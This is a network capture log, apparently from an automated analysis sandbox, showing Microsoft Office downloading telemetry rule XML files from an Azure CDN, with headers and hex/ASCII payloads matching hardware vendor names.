Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:26 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:26 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:26 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: a32196a2-e01e-0051-3ed7-2684b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014626Z-r197bdfb6b4grkz4xgvkar0zcs00000005c000000000hcv4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 01:46:26 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.5	49758	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:26 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:26 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:26 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 9b05f8c0-e01e-0020-40f2-24de90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014626Z-15b8d89586fvk4kmbg8pf84y8800000006s000000000b67d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 01:46:26 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.5	49760	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:26 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:26 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:26 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 78a5d0bc-501e-005b-6da6-26d7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014626Z-16849878b787wpl5wqkt5731b400000006pg0000000057yf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 01:46:26 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.5	49759	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:26 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:26 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:26 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 214ea441-b01e-00ab-0e9b-27dafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014626Z-15b8d89586fmc8ck21zz2rtg1w0000000350000000001qh6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 01:46:26 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.5	49761	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:27 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:27 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:27 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 47f8d5d2-401e-005b-1e67-279c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014627Z-16849878b7828dsgct3vrzta70000000049000000000a3s2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 01:46:27 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.5	49763	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:28 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:28 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:28 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 1abafd92-601e-0070-072b-27a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014628Z-16849878b78zqkvcwgr6h55x9n00000005ag000000008sk8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 01:46:28 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.5	49765	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:28 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:28 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:28 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: ebbbec6e-b01e-0021-1c83-29cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014628Z-17c5cb586f6sqz6fff89etrx0800000005k000000000be5b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 01:46:28 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.5	49762	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:28 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:28 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:28 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 8d7929b6-101e-0017-6edc-2647c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014628Z-17c5cb586f6gkqkwd0x1ge8t04000000067000000000cuub x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 01:46:28 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.5	49764	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:28 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:28 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:28 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 67fffc2c-401e-000a-5dae-264a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014628Z-16849878b78bcpfn2qf7sm6hsn00000007cg00000000nr0v x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 01:46:28 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.5	49766	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:29 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:29 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:29 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 54a08b66-801e-008f-529b-272c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014629Z-16849878b78fkwcjkpn19c5dsn00000004w000000000awxa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 01:46:29 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.5	49767	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:29 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:29 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:29 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 50755ed9-801e-00ac-015e-27fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014629Z-r197bdfb6b48v72xb403uy6hns00000006e00000000093tk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 01:46:29 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.5	49770	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:29 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:30 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:29 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 2760be74-301e-0096-200b-26e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014629Z-16849878b787wpl5wqkt5731b400000006g000000000skqg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 01:46:30 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 